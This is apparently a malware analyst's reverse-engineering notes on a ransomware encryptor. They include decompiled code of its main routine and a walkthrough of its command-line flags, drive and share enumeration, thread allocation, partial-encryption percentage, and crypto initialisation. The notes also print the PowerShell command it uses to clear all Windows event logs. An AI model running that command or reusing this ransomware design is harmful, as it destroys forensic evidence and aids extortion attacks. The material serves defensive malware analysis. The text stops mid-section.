plVar26 = (longlong *)(ulonglong)local_bc8[0];
local_ab8 = pppuVar25;
FUN_14007b940(pppuVar4,(int)local_b88,local_bc8[0]);
if ((pppuVar4 != (undefined1 ***)0x0) &&
((pppuVar25[3] == (undefined1 **)0x0 ||
(*(int *)(pppuVar25[3] + 1) == 0)))) {
LOCK();
*(int *)(pppuVar25 + 1) = *(int *)(pppuVar25 + 1) + 1;
UNLOCK();
LOCK();
*(int *)((longlong)pppuVar25 + 0xc) =
*(int *)((longlong)pppuVar25 + 0xc) + 1;
UNLOCK();
*pppuVar4 = (undefined1 **)pppuVar4;
ppuVar5 = pppuVar25[3];
pppuVar25[3] = (undefined1 **)pppuVar25;
if (ppuVar5 != (undefined1 **)0x0) {
LOCK();
piVar1 = (int *)((longlong)ppuVar5 + 0xc);
iVar12 = *piVar1;
*piVar1 = *piVar1 + -1;
UNLOCK();
if (iVar12 == 1) {
(**(code **)(*ppuVar5 + 8))();
}
}
LOCK();
pppuVar34 = pppuVar25 + 1;
iVar12 = *(int *)pppuVar34;
*(int *)pppuVar34 = *(int *)pppuVar34 + -1;
UNLOCK();
if (iVar12 == 1) {
(*(code *)**pppuVar25)(pppuVar25);
LOCK();
piVar1 = (int *)((longlong)pppuVar25 + 0xc);
iVar12 = *piVar1;
*piVar1 = *piVar1 + -1;
UNLOCK();
if (iVar12 == 1) {
(*(code *)(*pppuVar25)[1])(pppuVar25);
}
}
}
local_3b8 = (undefined1 ***)0x0;
plStack_3b0 = (longlong *)0x0;
FUN_140054fa0(&local_3b8,(int *)((longlong)&local_b88 + 4));
FUN_140037200(&local_248);
local_248 = (LPCWSTR)0x0;
pWStack_240 = (LPCWSTR)0x0;
local_238 = 0;
pppuVar34 = pppuVar25;
if ((local_2f8 == 0) ||
(cVar11 = FUN_140042a20((wchar_t *)&local_308,
(longlong *)&local_248),
cVar11 != '\0')) {
pWVar28 = pWStack_240;
lVar9 = local_3c4;
pHVar8 = local_ad0[0];
if (local_358 == 0) {
pWVar29 = local_248;
if (local_248 == pWStack_240) {
local_b80 = pWStack_340;
if (local_348 != pWStack_340) {
pWVar28 = pWStack_340;
pWVar29 = local_348 + 0x10;
do {
if ((*(char *)((longlong)pWVar29 + 1) == '\0') &&
((pHVar10 == pHVar8 || ((char)*pWVar29 == '\0')))) {
WVar7 = *pWVar29;
plVar26 = FUN_14003b5f0(local_3f8,
(undefined8 *)(pWVar29 +
-0x10));
puVar18 = FUN_14004f660(local_868,&local_3b8);
FUN_14007bac0(pppuVar4,puVar18,plVar26,&local_3d8,
lVar9,(char)WVar7);
pWVar28 = local_b80;
}
pWVar2 = pWVar29 + 4;
pppuVar34 = local_ab8;
pHVar35 = local_b70;
pWVar29 = pWVar29 + 0x14;
} while (pWVar2 != pWVar28);
}
} else {
do {
FUN_1400436b0((undefined2 *)&local_3c4,pWVar29,plVar26);
if (((char)local_3c4 == '\0') &&
((cVar11 = local_3c4._1_1_,
pHVar10 == pHVar8 || (local_3c4._1_1_ == '\0')))) {
plVar26 = FUN_14003b5f0(local_418,
(undefined8 *)pWVar29);
puVar18 = FUN_14004f660(local_ad0,&local_3b8);
FUN_14007bac0(pppuVar4,puVar18,plVar26,&local_3d8,
lVar9,cVar11);
}
pWVar29 = pWVar29 + 0x10;
pWVar30 = local_b80;
pppuVar34 = local_ab8;
pHVar35 = local_b70;
} while (pWVar29 != pWVar28);
}
} else {
FUN_1400436b0((undefined2 *)&local_3c8,(LPCWSTR)&local_368,
plVar26);
if ((local_3c8 == 0) &&
((pHVar10 == local_ad0[0] || (local_3c7 == '\0')))) {
local_888 = local_368;
uStack_880 = uStack_360;
local_878 = local_358;
uStack_870 = uStack_350;
local_358 = 0;
uStack_350 = 7;
local_368 = local_368 & 0xffffffffffff0000;
if (plStack_3b0 != (longlong *)0x0) {
LOCK();
*(int *)(plStack_3b0 + 1) =
(int)plStack_3b0[1] + 1;
UNLOCK();
}
local_ab8 = local_3b8;
plStack_ab0 = plStack_3b0;
FUN_14007bac0(pppuVar4,&local_ab8,(longlong *)&local_888,
&local_3d8,local_3c4,local_3c7);
}
}
if (*(int *)((longlong)pppuVar25 + 0x44) != 0) {
FUN_14007b780((longlong)pppuVar25[6]);
}
FUN_14007b780((longlong)pppuVar25[4]);
pppuVar4 = local_3b8;
if (*(int *)((longlong)local_3b8 + 0x34) != 0) {
FUN_14007b780((longlong)local_3b8[4]);
}
FUN_14007b780((longlong)pppuVar4[2]);
FUN_140084620((longlong)local_a80);
FUN_14008decc();
if (pHVar35 != local_b78) {
local_388 = (LPCWSTR ******)0x0;
uStack_380 = 0;
local_378 = 0;
local_370 = 0;
FUN_14003f050(&local_388,
(undefined8 *)L"-ep bypass -Command ",0x14);
if (local_378 < local_370) {
pppppppWVar27 = (LPCWSTR ******)&local_388;
if (7 < local_370) {
pppppppWVar27 = local_388;
}
lVar19 = local_378 * 2;
local_378 = local_378 + 1;
*(undefined4 *)((longlong)pppppppWVar27 + lVar19) = 0x22;
} else {
FUN_140055f40(&local_388,1,(ulonglong)local_3c8,0x22);
}
FUN_14003b4c0(
&local_388,
(undefined8 *)
L"Get-WinEvent -ListLog * | where { $_.RecordCount } | ForEach-Object -Process{ [System.Diagnostics.Eventing.Reader.EventLogSession]::Global Session.ClearLog($_.LogName) }",
0xa8);
if (local_378 < local_370) {
pppppppWVar27 = (LPCWSTR ******)&local_388;
if (7 < local_370) {
pppppppWVar27 = local_388;
}
lVar19 = local_378 * 2;
local_378 = local_378 + 1;
*(undefined4 *)((longlong)pppppppWVar27 + lVar19) = 0x22;
} else {
FUN_140055f40(&local_388,1,(ulonglong)local_3c8,0x22);
}
pppppppWVar27 = (LPCWSTR ******)&local_388;
if (7 < local_370) {
pppppppWVar27 = local_388;
}
local_b78 = ShellExecuteW(
(HWND)0x0,(LPCWSTR)0x0,L"powershell.exe",
(LPCWSTR)pppppppWVar27,(LPCWSTR)0x0,0);
if ((int)local_b78 < 0x21) {
puVar18 = (undefined8 *)FUN_1400550c0(local_7f8,&local_b78);
plVar26 = local_818;
puVar18 = FUN_14003e5e0(plVar26,
(undefined8 *)"ShellExecute failed: ",
puVar18, pppppppWVar27);
FUN_14003a0b0(plVar26,puVar18);
FUN_140037360(local_818);
FUN_140037360(local_7f8);
}
if (7 < local_370) {
if ((0xfff < local_370 * 2 + 2) &&
(0x1f < (ulonglong)((longlong)local_388 +
(-8 - (longlong)local_388[-1])))) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
}
lVar19 = FUN_1400811e4();
LVar20 = FUN_1400811c8();
if (lVar19 == 10000000) {
lVar19 = LVar20.QuadPart * 100;
} else {
lVar19 = ((LVar20.QuadPart % lVar19) * 1000000000) / lVar19 +
(LVar20.QuadPart / lVar19) * 1000000000;
}
FUN_140090950((undefined1 (*) [32])local_1c8,0,0xf8);
FUN_14003fc30(local_1c8,1);
FUN_14005afb0(local_1b8,
(lVar19 - (longlong)pWVar30) / 1000000);
local_a78[1] = 0;
local_a78[2] = 0;
local_a78[3] = 0xf;
local_a78[0] = 0;
local_ae8 = (undefined8 *)0x0;
uStack_ae0 = 0;
local_ad8 = 0;
if ((((byte)local_140 & 0x22) == 2) ||
(uVar23 = *local_170, uVar23 == 0)) {
if (((local_140 & 4) == 0) && (*local_178 != 0)) {
local_ae8 = (undefined8 *)*local_198;
uStack_ae0 = ((longlong)*local_160 -
(longlong)local_ae8) + *local_178;
}
} else {
local_ae8 = (undefined8 *)*local_190;
if (uVar23 < local_148) {
uVar23 = local_148;
}
uStack_ae0 = uVar23 - (longlong)local_ae8;
}
if (local_ae8 != (undefined8 *)0x0) {
FUN_14003cb30(local_a78,local_ae8,uStack_ae0);
}
FUN_14003bb20(local_1c8);
puVar24 = (ulonglong *)FUN_1400375e0(local_a78,
(undefined8 *)&LAB_1400de3d0,3);
local_b08 = *puVar24;
uStack_b00 = puVar24[1];
local_af8 = puVar24[2];
uStack_af0 = puVar24[3];
puVar24[2] = 0;
puVar24[3] = 0xf;
*(undefined1 *)puVar24 = 0;
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,2,&local_b08),
DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
if (0xf < uStack_af0) {
if ((0xfff < uStack_af0 + 1) &&
(0x1f < (local_b08 -
*(longlong *)(local_b08 - 8)) - 8))
goto LAB_14004f569;
FUN_14008decc();
}
local_af8 = 0;
uStack_af0 = 0xf;
local_b08 = local_b08 & 0xffffffffffffff00;
if (0xf < (ulonglong)local_a78[3]) {
if ((0xfff < local_a78[3] + 1U) &&
(0x1f < (local_a78[0] -
*(longlong *)(local_a78[0] + -8)) - 8U)) {
LAB_14004f569:
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
} else {
plVar26 = local_8a8;
FUN_140037480(plVar26,(undefined8 *)"Failed to read share files!");
FUN_14003a0b0(plVar26,local_8a8);
FUN_140037360(local_8a8);
}
FUN_1400451f0((longlong *)&local_248);
plVar26 = plStack_3b0;
if (plStack_3b0 != (longlong *)0x0) {
LOCK();
plVar3 = plStack_3b0 + 1;
lVar19 = *plVar3;
*(int *)plVar3 = (int)*plVar3 + -1;
UNLOCK();
if ((int)lVar19 == 1) {
(**(code **)*plStack_3b0)(plStack_3b0);
LOCK();
piVar1 = (int *)((longlong)plVar26 + 0xc);
iVar12 = *piVar1;
*piVar1 = *piVar1 + -1;
UNLOCK();
if (iVar12 == 1) {
(**(code **)(*plStack_3b0 + 8))();
}
}
}
LOCK();
pppuVar4 = pppuVar34 + 1;
iVar12 = *(int *)pppuVar4;
*(int *)pppuVar4 = *(int *)pppuVar4 + -1;
UNLOCK();
if (iVar12 == 1) {
(*(code *)**pppuVar34)(pppuVar34);
LOCK();
piVar1 = (int *)((longlong)pppuVar34 + 0xc);
iVar12 = *piVar1;
*piVar1 = *piVar1 + -1;
UNLOCK();
if (iVar12 == 1) {
(*(code *)(*pppuVar34)[1])(pppuVar34);
}
}
goto LAB_14004f1c6;
}
}
FUN_140037480(&local_b68,(undefined8 *)"Init crypto failed!");
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,4,&local_b68),
DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
if (0xf < uStack_b50) {
std::allocator<char>::deallocate(
(allocator<char> *)&local_b68,
(char *)CONCAT62(local_b68._2_6_,(undefined2)local_b68),
uStack_b50 + 1);
}
}
} else {
local_bc0[0] = 0;
local_bc0[1] = 0;
local_bc0[2] = 0;
local_bc0[3] = 0;
FUN_1400378a0(local_bc0,(undefined8 *)"List of drives",0xe);
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,2,local_bc0),
DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
pWVar28 = local_348;
pWVar30 = pWStack_340;
if (0xf < (ulonglong)local_bc0[3]) {
if ((0xfff < local_bc0[3] + 1U) &&
(0x1f < (local_bc0[0] - *(longlong *)(local_bc0[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
pWVar28 = local_348;
pWVar30 = pWStack_340;
}
for (; pWVar28 != pWVar30; pWVar28 = pWVar28 + 0x14) {
puVar18 = (undefined8 *)FUN_14007ed60(local_a28 + 8,pWVar28,0);
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,2,puVar18),
DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
if (0xf < local_9d0) {
if ((0xfff < local_9d0 + 1) &&
(0x1f < (local_a28[8] - *(longlong *)(local_a28[8] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
}
}
LAB_14004f1c6:
if (local_348 != (LPCWSTR)0x0) {
FUN_140055da0((longlong *)local_348,(longlong *)pWStack_340);
if ((0xfff <
(ulonglong)(((local_338 - (longlong)local_348) / 0x28) * 0x28)) &&
(0x1f < (ulonglong)((longlong)local_348 +
(-8 - *(longlong *)(local_348 + -4))))) goto LAB_14004f4dd;
FUN_14008decc();
local_348 = (LPCWSTR)0x0;
pWStack_340 = (LPCWSTR)0x0;
local_338 = 0;
}
}
if (7 < uStack_390) {
if ((0xfff < uStack_390 * 2 + 2) &&
(0x1f < (ulonglong)((longlong)local_3a8 +
(-8 - (longlong)local_3a8[-1])))) goto LAB_14004f4dd;
FUN_14008decc();
}
local_398 = 0;
uStack_390 = 7;
local_3a8 = (LPCWSTR ******)((ulonglong)local_3a8 & 0xffffffffffff0000);
if (7 < uStack_318) {
if ((0xfff < uStack_318 * 2 + 2) &&
(0x1f < (ulonglong)((longlong)local_330 +
(-8 - (longlong)local_330[-1])))) goto LAB_14004f4dd;
FUN_14008decc();
}
local_320 = 0;
uStack_318 = 7;
local_330 = (wchar_t *******)((ulonglong)local_330 & 0xffffffffffff0000);
if (7 < uStack_2f0) {
if ((0xfff < uStack_2f0 * 2 + 2) &&
(0x1f < (local_308 - *(longlong *)(local_308 - 8)) - 8)) goto LAB_14004f4dd;
FUN_14008decc();
}
local_2f8 = 0;
uStack_2f0 = 7;
local_308 = local_308 & 0xffffffffffff0000;
if (7 < uStack_350) {
if ((0xfff < uStack_350 * 2 + 2) &&
(0x1f < (local_368 - *(longlong *)(local_368 - 8)) - 8)) goto LAB_14004f4dd;
FUN_14008decc();
}
local_358 = 0;
uStack_350 = 7;
local_368 = local_368 & 0xffffffffffff0000;
if (0xf < (ulonglong)local_228[3]) {
if ((0xfff < local_228[3] + 1U) &&
(0x1f < (local_228[0] - *(longlong *)(local_228[0] + -8)) - 8U)) {
LAB_14004f4dd:
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
FUN_14008db00(local_38 ^ (ulonglong)auStackY_c08);
return;
}
The above is the top-level orchestor for the encryption run:
builds the log file name
parses command-line options (--encryption_path, --share_file, --encryption_percent, -localonly, -dellog, plus one more string option)
initializes crypto and thread pools
walks drives / paths and queues work
optionally wipes Windows event logs via PowerShell
logs how long the run took
cleans everything up
Phase 0 – log filename / basic setup
At the top:
_time64(&local_230);
_Tm = _localtime64(&local_230);
strftime(local_88,0x50,"Log-%d-%m-%Y-%H-%M-%S",_Tm);
...
FUN_1400378a0(local_228,(undefined8 *)local_88,uVar31);
FUN_14004d170(local_228,local_228);
This:
Builds a timestamped log name like Log-05-03-2025-12-30-15.
Wraps it in some internal string/container (local_228) and passes it to logging setup FUN_14004d170.
Phase 1 – parse command-line arguments
They use the Windows helpers and then their own parser:
lpCmdLine = GetCommandLineW();
hMem = CommandLineToArgvW(lpCmdLine,local_310);
...
FUN_140054ae0(local_2e8,(longlong *)(longlong)local_310[0],hMem);
local_2e8 becomes a “parsed args” object.
1.1 --encryption_path
local_a58 = &LAB_1400de01b+1;
local_a50 = L"--encryption_path";
...
pauVar14 = FUN_1400500f0(local_2e8, local_7d8, &local_958);
FUN_140050f40((longlong)(*pauVar14 + 0x10), (longlong *)&local_9c8);
...
local_368 = CONCAT62(uStack_9c6,local_9c8);
uStack_360 = uStack_9c0;
local_358 = local_9b8;
uStack_350 = uStack_9b0;
FUN_1400500f0 looks up the option "--encryption_path" in the parsed argument set.
FUN_140050f40 pulls out the value into the temporary local_9c8 string.
Then it copies that into the persistent string fields:
local_368 / uStack_360 / local_358 / uStack_350
The pattern (value + length + SSO flag) is a std::wstring/basic_string<wchar_t> layout.
1.2 --share_file
local_a48 = &LAB_1400de08c;
local_a40 = L"--share_file";
...
pauVar14 = FUN_1400500f0(local_2e8, local_6e8, &local_968);
FUN_140050f40((longlong)(*pauVar14 + 0x10),(longlong *)&local_9a8);
...
local_308 = CONCAT62(uStack_9a6,local_9a8);
uStack_300 = uStack_9a0;
local_2f8 = local_998;
uStack_2f0 = uStack_990;
This file later gets read and treated as a list of shares / paths.
1.3 --encryption_percent
local_a38 = &LAB_1400de0c4;
local_a30 = L"--encryption_percent";
...
pauVar14 = FUN_1400500f0(local_2e8, local_5f8, &local_938);
FUN_140050f40((longlong)(*pauVar14 + 0x10),(longlong *)&local_988);
...
local_330 = (wchar_t *******)CONCAT62(uStack_986,local_988);
uStack_328 = uStack_980;
local_320 = local_978;
uStack_318 = uStack_970;
This stores the percentage string in local_330/local_320. Later it gets converted it to an integer:
local_3c4 = 0x32; // default 50
if (local_320 != 0) {
puVar17 = __doserrno();
_Str = (wchar_t *******)&local_330;
if (7 < uStack_318) {
_Str = local_330;
}
*puVar17 = 0;
local_3c4 = wcstol((wchar_t *)_Str,(wchar_t **)&local_3d0,10);
...
}
Default encryption_percent = 50 if the flag isn’t set.
If set, it uses wcstol and aborts on invalid/overflow.
Rename local_3c4 to encryptPercent in your notes.
1.4 -localonly
This block:
FUN_14003f050(plVar26,(undefined8 *)L"-localonly",10);
pHVar10 = local_2a8;
puVar15 = (ushort *)FUN_140051160(plVar26,local_928,(short *)(local_a28 + 4));
pHVar16 = (HINSTANCE)FUN_1400560e0((longlong *)&local_2a8,puVar15);
...
if (7 < local_910) { ... }
Builds the wide string "-localonly".
Looks it up in the local_2a8 argument container.
pHVar16 is essentially “found location or sentinel”.
Later we see:
FUN_14007e910((longlong *)&local_348);
if (pHVar8 == pHVar16) {
// main encryption path
} else {
// just list drives
}
Where pHVar8 was saved copy of local_2a8. This can be read as:
If -localonly is NOT present → enter full encryption logic.
If -localonly is present → go to a mode that just logs the list of drives (no encryption).
(FUN_1400560e0: return == container root usually means “not found”.)
1.5 -dellog
Later:
FUN_14003f050(local_bc0,(undefined8 *)L"-dellog",7);
...
local_b78 = (HINSTANCE)FUN_1400560e0((longlong *)&local_2a8,puVar15);
...
if (pHVar35 != local_b78) {
// build powershell command + ShellExecuteW
}
Same trick: if -dellog exists, local_b78 will differ from pHVar35, triggering the event-log wiping PowerShell.
Phase 2 – collect drives / roots
local_348 = NULL;
pWStack_340 = NULL;
local_338 = 0;
FUN_14007e910((longlong *)&local_348);
FUN_14007e910 populates:
local_348..pWStack_340 with a list of volumes / root folders.
(Later the “list drives” mode literally iterates this and logs each entry.)
By this point the function holds:
encryption_path (optional)
share_file (optional path to file listing shares)
encryption_percent (numeric)
list of local drives
flags localonly and dellog
Phase 3 – start timing & optional extra string
Inside the if (pHVar8 == pHVar16) main branch:
lVar19 = FUN_1400811e4();
LVar20 = FUN_1400811c8();
...
pWVar30 = (LPCWSTR)((LVar20.QuadPart / lVar19) * 1000000000 + ...);
local_b80 = pWVar30;
FUN_140070340();
These two functions are wrappers over:
QueryPerformanceFrequency
QueryPerformanceCounter
pWVar30 is your “start timestamp in ns” used later to compute total run time.
Phase 4 – some optional wide-string → UTF-8 conversion
This block:
if (local_398 != 0) {
pppppppWVar27 = (uStack_390 > 7) ? local_3a8 : &local_3a8;
iVar12 = WideCharToMultiByte(...,(LPCWSTR)pppppppWVar27,(int)local_398,...);
...
WideCharToMultiByte(...,(LPCWSTR)pppppppWVar27,(int)local_398,lpMultiByteStr,...);
...
FUN_140070680(local_aa8);
}
local_3a8 is another CLI string (handled earlier with that LAB_1400de0cb handler).
If present (local_398 != 0), it converts to multibyte and passes it to FUN_140070680.
From context, this looks like some optional config string (maybe log server / note path). Not strictly about encryption_path but worth annotating for completeness.
Phase 5 – crypto init & thread count calculation
GetSystemInfo(&local_c8);
if (local_c8.dwNumberOfProcessors == 0) {
// log "No cpu available!" and bail
} else {
puVar18 = (undefined8 *)operator_new(0x38);
...
puVar21 = FUN_1400839e0((undefined4 *)puVar18); // crypto context
if (puVar21 != 0) {
uVar13 = FID_conflict:atoi(&LAB_1400fc07f+1);
uVar22 = FUN_1400846b0((longlong)puVar21,(ulonglong)uVar13,0x1400fb080,'\x01');
if ((int)uVar22 == 0) {
// proceed
} else {
// "Init crypto failed!"
}
}
}
Allocate a crypto/context object.
Use atoi() on some embedded string to get a param (keysize / workers).
Call FUN_1400846b0 to initialise crypto. Failure → log “Init crypto failed!” and exit.
If OK, they then massage CPU count:
if ((int)local_c8.dwNumberOfProcessors < 5) {
if (local_c8.dwNumberOfProcessors == 1)
local_c8.dwNumberOfProcessors = 2;
local_c8.dwNumberOfProcessors *= 2;
}
local_b88._0_4_ = (int)(local_c8.dwNumberOfProcessors * 0x1e) / 100; // ~30%
local_bc8[0] = (int)(local_c8.dwNumberOfProcessors * 10) / 100; // 10%
if (local_bc8[0] == 0) local_bc8[0] = 1;
local_b88._4_4_ = (local_c8.dwNumberOfProcessors - (int)local_b88) - local_bc8[0];
Interpretation:
Double CPU count for small machines, then split it into:
30% → folder parser threads
10% → root folder parser threads
remainder → encryption threads
Then build log strings:
"Number of thread to folder parsers = X"
"Number of thread to root folder parsers = Y"
"Number of threads to encrypt = Z"
and send them to the global logger DAT_140103188.
Phase 6 – build the thread pool / work engine
This chunk:
pppuVar25 = (undefined1 ***)operator_new(0x180);
...
FUN_14007b940(pppuVar4,(int)local_b88,local_bc8[0]); // configure worker counts
...
FUN_140054fa0(&local_3b8,(int *)((longlong)&local_b88 + 4)); // encryption threads
...
FUN_140037200(&local_248); // init vector/list for paths
pppuVar25 is a big ref-counted object with vtable std::_Ref_count_obj2<...> → think shared_ptr<Engine>.
FUN_14007b940 sets the counts for folder parsers & root parsers.
local_3b8 is another object capturing the encryption thread count.
You can label:
FUN_14007b940 → init_folder_engine(engine, folderThreads, rootThreads)
FUN_140054fa0 → init_encrypt_threadpool(...)
local_3b8 → encryptPoolHandle.
Phase 7 – handle --share_file and build the path list
FUN_140037200(&local_248); // local_248 / pWStack_240 is vector<wchar_t*> of paths
...
pppuVar34 = pppuVar25;
if ((local_2f8 == 0) ||
(cVar11 = FUN_140042a20((wchar_t *)&local_308,(longlong *)&local_248),
cVar11 != '\0')) {
...
} else {
// Failed to read share file:
FUN_140037480(local_8a8, "Failed to read share files!");
}
If --share_file wasn’t specified (local_2f8 == 0), or the file was successfully parsed by FUN_140042a20, we proceed.
Otherwise it logs "Failed to read share files!" and skips the main work.
So now local_248 holds share / path entries if the file existed.
Phase 8 – the core encryption_path decision tree
At this point we have:
root drives list: local_348 .. pWStack_340
optional share list: local_248 .. pWStack_240
optional --encryption_path string: local_368...
encrypt percent: local_3c4
flags: -localonly (in local_ad0[0] vs pHVar10)
Then:
pWVar28 = pWStack_240;
lVar9 = local_3c4; // encryption percentage
pHVar8 = local_ad0[0]; // pointer for -localonly
if (local_358 == 0) {
// *** CASE 1: NO explicit --encryption_path ***
if (local_248 == pWStack_240) {
// 1a) No share_file either → enumerate drives in local_348..pWStack_340
...
for (each drive entry in local_348..pWStack_340) {
plVar26 = pathObjectFromDriveEntry;
puVar18 = FUN_14004f660(local_868,&local_3b8); // combine with encryption context
FUN_14007bac0(engine, puVar18, plVar26, &local_3d8, lVar9, finalCharFlag);
}
} else {
// 1b) share_file present → iterate listed paths
do {
FUN_1400436b0((ushort *)&local_3c4, pWVar29, plVar26); // some path check / normalization
if (((char)local_3c4 == 0) &&
(pHVar10 == pHVar8 || local_3c4._1_1_ == '\0')) {
plVar26 = FUN_14003b5f0(local_418,(undefined8 *)pWVar29);
puVar18 = FUN_14004f660(local_ad0,&local_3b8);
FUN_14007bac0(engine, puVar18, plVar26, &local_3d8, lVar9,
(char)local_3c4._1_1_);
}
pWVar29 += 0x10;
} while (pWVar29 != pWVar28);
}
} else {
// *** CASE 2: explicit --encryption_path present ***
FUN_1400436b0((ushort *)&local_3c8,(LPCWSTR)&local_368,plVar26);
if ((local_3c8 == 0) &&
(pHVar10 == local_ad0[0] || local_3c7 == '\0')) {
// copy encryption_path string into local_888 structure
local_888 = local_368;
...
local_ab8 = local_3b8; // encryptPool
plStack_ab0 = plStack_3b0;
FUN_14007bac0(engine,&local_ab8,(longlong *)&local_888,&local_3d8,
local_3c4,local_3c7);
}
}
Phase 9 – tear down workers & optionally wipe logs
After all paths are queued:
if (*(int *)((longlong)pppuVar25 + 0x44) != 0) {
FUN_14007b780((longlong)pppuVar25[6]);
}
FUN_14007b780((longlong)pppuVar25[4]);
pppuVar4 = local_3b8;
if (*(int *)((longlong)local_3b8 + 0x34) != 0) {
FUN_14007b780((longlong)local_3b8[4]);
}
FUN_14007b780((longlong)pppuVar4[2]);
FUN_140084620((longlong)local_a80); // free crypto context
FUN_14008decc();
So we:
wait for all folder parsers + encryption threads to finish,
free the crypto context and heap strings.
Then -dellog check:
if (pHVar35 != local_b78) {
// Build: "-ep bypass -Command \"Get-WinEvent -ListLog * | where { $_.RecordCount } |
// ForEach-Object -Process{ [System.Diagnostics.Eventing.Reader.EventLogSession]::Global
// Session.ClearLog($_.LogName) }\""
...
local_b78 = ShellExecuteW(NULL,NULL,L"powershell.exe",
builtCommand,NULL,0);
}
So, if -dellog was supplied, it spawns:
powershell.exe -ep bypass -Command "
Get-WinEvent -ListLog * |
where { $_.RecordCount } |
ForEach-Object {
[System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName)
}
"
That’s a big artifact: full event log wipe from inside the encryptor. If ShellExecute fails, they log "ShellExecute failed: <code>".
Phase 10 – compute and log total encryption time
After workers are done:
lVar19 = FUN_1400811e4();
LVar20 = FUN_1400811c8();
...
lVar19 = computedEndNs;
...
FUN_140090950(local_1c8,0,0xf8);
FUN_14003fc30(local_1c8,1);
FUN_14005afb0(local_1b8,(lVar19 - (longlong)pWVar30) / 1000000);
...
puVar24 = FUN_1400375e0(local_a78,(undefined8 *)&LAB_1400de3d0,3);
...
FUN_140040630(DAT_140103188,2,&local_b08); // log message
This is:
Another call to QueryPerformanceFrequency/Counter.
Compute elapsed (end − start) in microseconds / milliseconds.
Build a summary string (format template at LAB_1400de3d0).
Log it via the global logger (log level 2).
Phase 11 – “list of drives” mode (when -localonly was present)
If we didn’t go into the main encryption block:
FUN_1400378a0(local_bc0,"List of drives",0xe);
...
for (pWVar28 = local_348; pWVar28 != pWStack_340; pWVar28 += 0x14) {
puVar18 = FUN_14007ed60(local_a28 + 8,pWVar28,0);
FUN_140040630(DAT_140103188,2,puVar18);
}
This alternate mode:
Logs the heading "List of drives".
For each entry in local_348, constructs a pretty string and logs it.
No crypto / threads in this branch.
Phase 12 – cleanup
The bottom of the function is all string frees and cookie checking:
If any of the std::wstring SSO capacities (uStack_xxx) exceed 7, they check alignment, call FUN_14008decc() to free.
If local_348 vector is non-NULL, they call FUN_140055da0 to free the drive list.
Finally FUN_14008db00(local_38 ^ cookie) is the stack-cookie check.
Section 1: Analysis of FUN_1400846b0
// param_1 = ctx (crypto top-level context)
// param_2 = keyParam (integer from atoi(…))
// param_3 = key/config blob at 0x1400fb080
// param_4 = flag (char, 0/1)
int __fastcall FUN_1400846b0(
CryptoCtx *ctx,
long keyParam,
const void *keyBlob,
char flag
);
It does no actual encryption itself.
Validates inputs
Allocates two internal crypto sub-objects
Calls the real crypto setup routine FUN_14008a730
Sets internal “initialized” flags
Optionally performs extra setup via FUN_140084850
This is the one call from FUN_14004d4c0:
uVar13 = atoi(&LAB_1400fc07f + 1);
uVar22 = FUN_1400846b0(
(longlong)puVar21, // ctx
(ulonglong)uVar13, // keyParam
0x1400fb080, // key/config blob
'\x01' // flag = 1
);
So for this sample, flag is always 1.
Section 2: Parameter / input validation
Early exits:
TEST param_2, param_2
JNZ LAB_1400846e2
LEA EAX, [param_2 - 2] ; if keyParam == 0 → EAX = -2 → return
...
TEST R14, R14 ; R14 = param_3 (keyBlob)
JNZ LAB_1400846fa
LEA EAX, [R14 - 1] ; if keyBlob == NULL → EAX = -1 → return
Hence:
If keyParam == 0 → returns -2
If keyBlob == NULL → returns -1
Then, before doing anything, it enforces “not already initialized”:
CMP qword ptr [param_1 + 0x20], 0
JNZ LAB_1400847af
CMP qword ptr [param_1 + 0x18], 0
JNZ LAB_1400847af
CMP byte ptr [param_1 + 0x3], 0
JNZ LAB_1400847af
CMP byte ptr [param_1 + 0x2], 0
JNZ LAB_1400847af
If any of these are non-zero:
ctx->sub2 != NULL
ctx->sub1 != NULL
ctx->flag3 != 0
ctx->flag2 != 0
then it jumps to:
LAB_1400847af:
MOV EAX, 0xFFFFFFFD ; -3
RET
return -3 if the context is already initialized / dirty.
Section 3:
Allocating the internal crypto objects
If the context is clean, it allocates the first internal structure:
MOV param_1, 0x28
CALL operator_new
MOV [RBX + 0x18], RAX ; ctx->sub1 = RAX
MOV RSI, RAX
TEST RAX, RAX
JZ LAB_1400847a8 ; return -7 on alloc failure
MOV param_1, RAX
CALL FUN_14008a550 ; ctor/init for sub1
ctx + 0x18 is a pointer to CryptoSubCtx1 (size 0x28).
FUN_14008a550 is its constructor / initializer.
Now EDI is cleared and it tests BPL (that’s param_4):
XOR EDI, EDI
TEST BPL, BPL
JNZ LAB_14008476f ; if flag != 0 → skip second allocation
If flag == 0, it also allocates a second structure:
LEA param_1, [RDI + 0x68] ; 0x68 bytes
CALL operator_new
MOV [RBX + 0x20], RAX ; ctx->sub2 = RAX
MOV RDI, RAX
TEST RAX, RAX
JZ LAB_1400847a8 ; -7
MOV param_1, RAX
CALL FUN_14008a5e0 ; ctor/init for sub2
ctx + 0x20 is CryptoSubCtx2 (size 0x68).
FUN_14008a5e0 initializes it.
If either allocation fails → LAB_1400847a8:
LAB_1400847a8:
MOV EAX, 0xFFFFFFF9 ; -7
RET
Return codes so far:
-1 = keyBlob missing
-2 = keyParam missing
-3 = already initialized / inconsistent
-7 = allocation failure
Section Four - Calling the real crypto initializer (FUN_14008a730)
Key part –
LAB_14008476f:
MOV param_4, R15 ; R15 = original param_2 = keyParam
